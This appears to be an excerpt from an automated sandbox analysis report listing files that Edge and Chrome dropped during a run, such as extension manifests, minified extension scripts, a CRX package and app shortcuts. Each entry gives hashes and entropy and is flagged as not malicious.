SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuH+svyw6r+cgTSJJT4LGkt:m8IEI4u8/EgG4
MD5:	0A68C9539A188B8BB4F9573F2F2321D6
SHA1:	E0F814FA4DCC04EDC6A5D39CBC1038979E88F0E5
SHA-256:	39E6C25D096AFD156644F07586D85E37F1F7B3DA9B636471E8D15CEB14DB184F
SHA-512:	13F133C173C6622B8E1B6F86A551CBC5B0B2446B3CF96E4AE8CA2646009B99E4A360C2DB3168CB94A488FAEBD215003DFA60D10150B7A85B5F8919900BD01CCC
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417954053901
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj17x9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/AP7xgiVb
MD5:	5E425DC36364927B1348F6C48B68C948
SHA1:	9E411B88453DEF3F7CFCB3EAA543C69AD832B82F
SHA-256:	32D9C8DE71A40D71FC61AD52AA07E809D07DF57A2F4F7855E8FC300F87FFC642
SHA-512:	C19217B9AF82C1EE1015D4DFC4234A5CE0A4E482430455ABAAFAE3F9C8AE0F7E5D2ED7727502760F1B0656F0A079CB23B132188AE425E001802738A91D8C5D79
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122218
Entropy (8bit):	5.439997574414675
Encrypted:	false
SSDEEP:	1536:naCwKqAbNBbV9HGsR43l9S6w3xu7gXMgaG0R6RxNbF4Ki3wqP+PrQY2PEtb1B:Jfcs1XMr2zbF4Ki+PkPEfB
MD5:	67C4451398037DD1C497A1EA98227630
SHA1:	F5BB00D46BCAB5A8A02E68E4895AEB6859B74AA8
SHA-256:	59123D5A34A319791E90391FC55F0F4B8F5ABB6DB67353609DB25ACC3E99C166
SHA-512:	17F35CE2A11C26168CC52C4AE2BEC548A1AEB1B1F9CB3475B0552BDE71CFE94C5C0C4F3F51267EF7C7D9B0E01E1D1259F48968E70EE1E905471BA0C76ECA81EA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=ea(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	130866
Entropy (8bit):	5.425065147784983
Encrypted:	false
SSDEEP:	1536:zKjBw7l0GLFqjLmqoTquyBQCGLu5fJDX5pwPGFSS2IH0dKxQ5SbNyO+DrxZlkaY8:XYQi3DX5WkfH0dKxdboDrNOdor
MD5:	1A8A1F4E5BA291867D4FA8EF94243EFA
SHA1:	B25076D2AE85BD5E4ABA935F758D5122CCB82C36
SHA-256:	441385D13C00F82ABEEDD56EC9A7B2FE90658C9AACB7824DEA47BB46440C335B
SHA-512:	F05668098B11C60D0DDC3555FCB51C3868BB07BA20597358EBA3FEED91E59F122E07ECB0BD06743461DFFF8981E3E75A53217713ABF2A78FB4F955641F63537C
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir6524_924184157\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6524_924184157\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6524_924184157\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6524_924184157\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_924184157\e1a4d947-611c-4c4f-a1d2-718bb278e03a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 18:18:16 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.972013430232204
Encrypted:	false
SSDEEP:	48:8Wd5jTB5GfHqeidAKZdA19ehwiZUklqehRy+3:84nR0+y
MD5:	D5B2A94FF8369C19B5DBA946D3A7A727
SHA1:	8897B6E89427DCCA1AB05C34B72EA30B4706F011
SHA-256:	F382D2B3247083597E81193547EEF5974F5BC19E3FCE5FC17F5AAF51955D04AA
SHA-512:	DF7709C4EA3599DDD17FBC9B92976477E17DF51581E1950A467DA529D93280084C99749532B1B87DB55D697DC4C1785BBFF650CCA1BC2661C2F515F71798ACCE
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....P...e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-ZG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-ZG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-ZG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-ZG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-ZH............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 18:18:16 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9864472865737715
Encrypted:	false
SSDEEP:	48:8qd5jTB5GfHqeidAKZdA1weh/iZUkAQkqehuy+2:8cnRG9Qzy
MD5:	D7A58F9F2D007749EB14638DBFBAA1E7
SHA1:	9AE0280355E1170096141863F7E0DCCF108431E0
SHA-256:	B4E6582E36C0A63EF585652132986FBAF84BCE12D5A6F69D0F22D81472168C80
SHA-512:	8B784F58685BD2BDC5FCE2CB5E58C145D9E0E496961C16E623FA26558E312A422A31C55A17410C8AA60114B1AC849FF8B07384C6020EE9527959501CD4F1EF2D
Malicious:	false
Preview:	L..................F.@.. ...$+.,....( ...e..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-ZG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-ZG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-ZG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-ZG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V-ZH............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.001623237771752
Encrypted:	false
SSDEEP:	48:8xCd5jTB5sHqeidAKZdA14tseh7sFiZUkmgqeh7sYy+BX:8xUnTunqy
MD5:	FBEEC4CD1E36B123ABDC205B1ACAECF3
SHA1:	4D7D6C6757777911DC01B30D65D9E2F3EADCAB55
SHA-256:	66C47EF0FB0FC8E1731CFA812E71505F83D83DFB17AF987DAF0D71BFF9DBC138
SHA-512:	9D766308AD9AFA0EDE04367C4B1725272397403F1B71750B54B82A6426168DF87B7500F14BC0CEE62D45AF1F2F1A897EC798486B1467772727DEB8B085E3EF9D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I-ZG.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V-ZG.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V-ZG.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V-ZG............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............A.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Jan 13 18:18:15 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.987372485673333
Encrypted:	false
SSDEEP:	48:8Ud5jTB5GfHqeidAKZdA1vehDiZUkwqehCy+R:86nRNQy
MD5:	A75BFD89F46EECDCAFB349D251C2E299
